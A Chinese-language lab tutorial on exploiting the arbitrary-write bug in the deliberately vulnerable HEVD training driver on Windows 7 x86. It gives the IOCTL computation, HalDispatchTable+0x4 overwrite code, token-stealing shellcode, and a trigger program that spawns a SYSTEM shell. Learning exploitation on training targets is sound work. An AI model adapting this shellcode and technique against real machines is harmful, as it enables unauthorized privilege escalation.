Windows Kernel Exploit(三) -> Write-What-Where
字数 935 2025-08-05 08:20:14
Windows Kernel Exploit: Write-What-Where漏洞分析与利用
0x00 前言
本文是Windows内核漏洞利用系列的第三部分,重点讲解任意内存覆盖漏洞(Write-What-Where)的原理与利用方法。在学习本文前,需要准备以下环境:
- Windows 7 x86 sp1虚拟机
- 配置好windbg等调试工具(建议配合VirtualKD使用)
- HEVD+OSR Loader构造漏洞环境
0x01 漏洞原理
漏洞代码分析
在HEVD.sys中的TriggerArbitraryOverwrite函数存在任意内存覆盖漏洞:
int __stdcall TriggerArbitraryOverwrite(_WRITE_WHAT_WHERE *UserWriteWhatWhere)
{
unsigned int *v1; // edi
unsigned int *v2; // ebx
ProbeForRead(UserWriteWhatWhere, 8u, 4u);
v1 = UserWriteWhatWhere->What;
v2 = UserWriteWhatWhere->Where;
DbgPrint("[+] UserWriteWhatWhere: 0x%p\n", UserWriteWhatWhere);
DbgPrint("[+] WRITE_WHAT_WHERE Size: 0x%X\n", 8);
DbgPrint("[+] UserWriteWhatWhere->What: 0x%p\n", v1);
DbgPrint("[+] UserWriteWhatWhere->Where: 0x%p\n", v2);
DbgPrint("[+] Triggering Arbitrary Overwrite\n");
*v2 = *v1;
return 0;
}
安全与非安全版本对比
安全版本会使用ProbeForRead验证地址:
#ifdef SECURE
// 安全版本:验证地址是否在用户模式
ProbeForRead((PVOID)Where, sizeof(PULONG_PTR), (ULONG)__alignof(PULONG_PTR));
ProbeForRead((PVOID)What, sizeof(PULONG_PTR), (ULONG)__alignof(PULONG_PTR));
*(Where) = *(What);
#else
// 漏洞版本:直接写入,无验证
DbgPrint("[+] Triggering Arbitrary Overwrite\n");
*(Where) = *(What);
#endif
漏洞本质
漏洞允许攻击者:
- 通过
What指针指定要写入的值 - 通过
Where指针指定要写入的地址 - 内核未验证这两个指针的有效性,导致可以任意地址写入
0x02 漏洞利用
控制码计算
漏洞对应的IOCTL控制码定义:
#define HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS)
计算公式:
hex((0x00000022 << 16) | (0x00000000 << 14) | (0x802 << 2) | 0x00000003)
# 结果为0x22200b
数据结构
WRITE_WHAT_WHERE结构体定义:
typedef struct _WRITE_WHAT_WHERE {
PULONG_PTR What;
PULONG_PTR Where;
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;
利用思路
- 确定目标地址:覆盖
HalDispatchTable+0x4处的函数指针 - 构造Payload:
What指向Shellcode地址Where指向HalDispatchTable+0x4
- 触发执行:调用
NtQueryIntervalProfile函数
关键步骤实现
1. 获取ntkrnlpa.exe基地址
LPVOID NtkrnlpaBase() {
LPVOID lpImageBase[1024];
DWORD lpcbNeeded;
TCHAR lpfileName[1024];
EnumDeviceDrivers(lpImageBase, sizeof(lpImageBase), &lpcbNeeded);
for(int i = 0; i < 1024; i++) {
GetDeviceDriverBaseNameA(lpImageBase[i], lpfileName, 48);
if(!strcmp(lpfileName, "ntkrnlpa.exe")) {
printf("[+]success to get %s\n", lpfileName);
return lpImageBase[i];
}
}
return NULL;
}
2. 计算HalDispatchTable+0x4地址
// 获取用户空间基地址
HMODULE hUserSpaceBase = LoadLibrary("ntkrnlpa.exe");
// 获取用户空间HalDispatchTable地址
PVOID pUserSpaceAddress = GetProcAddress(hUserSpaceBase, "HalDispatchTable");
// 计算内核空间HalDispatchTable+0x4地址
DWORD32 hal_4 = (DWORD32)pNtkrnlpaBase + ((DWORD32)pUserSpaceAddress - (DWORD32)hUserSpaceBase) + 0x4;
3. Shellcode设计
static VOID ShellCode() {
_asm {
// int 3
pop edi // 堆栈平衡
pop esi
pop ebx
pushad
mov eax, fs:[124h] // 获取当前线程的_KTHREAD结构
mov eax, [eax+0x50] // 获取_EPROCESS结构
mov ecx, eax
mov edx, 4 // SYSTEM进程PID=4
find_sys_pid:
mov eax, [eax+0xb8] // 遍历进程活动链表
sub eax, 0xb8 // 链表遍历
cmp [eax+0xb4], edx // 比较PID是否为SYSTEM
jnz find_sys_pid
// 替换Token
mov edx, [eax+0xf8]
mov [ecx+0xf8], edx
popad
// int 3
ret
}
}
4. 触发漏洞
#include <stdio.h>
#include <Windows.h>
int main() {
char buf[8];
DWORD recvBuf;
// 获取驱动句柄
HANDLE hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL, NULL,
OPEN_EXISTING,
NULL, NULL);
if(hDevice == INVALID_HANDLE_VALUE || hDevice == NULL) {
printf("Failed to get HANDLE!!!\n");
return 0;
}
// 构造What和Where指针
memset(buf, 0, 8);
*(DWORD*)&buf[0] = (DWORD)&ShellCode; // What指针
*(DWORD*)&buf[4] = hal_4; // Where指针
// 触发漏洞
DeviceIoControl(hDevice, 0x22200b, buf, 8, NULL, 0, &recvBuf, NULL);
// 触发Shellcode执行
NtQueryIntervalProfile(2, (PULONG)0x1);
// 验证提权
system("cmd.exe");
return 0;
}
0x03 调试技巧
-
显示DbgPrint输出:
ed nt!Kd_DEFAULT_Mask 8 -
关键函数反汇编:
u nt!NtQueryIntervalProfile+0x62 u KeQueryIntervalProfile -
查看HalDispatchTable结构:
dd nt!HalDispatchTable
0x04 总结
Write-What-Where漏洞利用的关键点:
- 准确计算
HalDispatchTable+0x4的地址 - 构造正确的Shellcode并确保堆栈平衡
- 通过
NtQueryIntervalProfile触发修改后的函数指针 - Shellcode需要正确遍历进程结构并替换Token
这种漏洞利用方式在内核漏洞利用中非常典型,理解其原理对于学习其他类型的内核漏洞有很大帮助。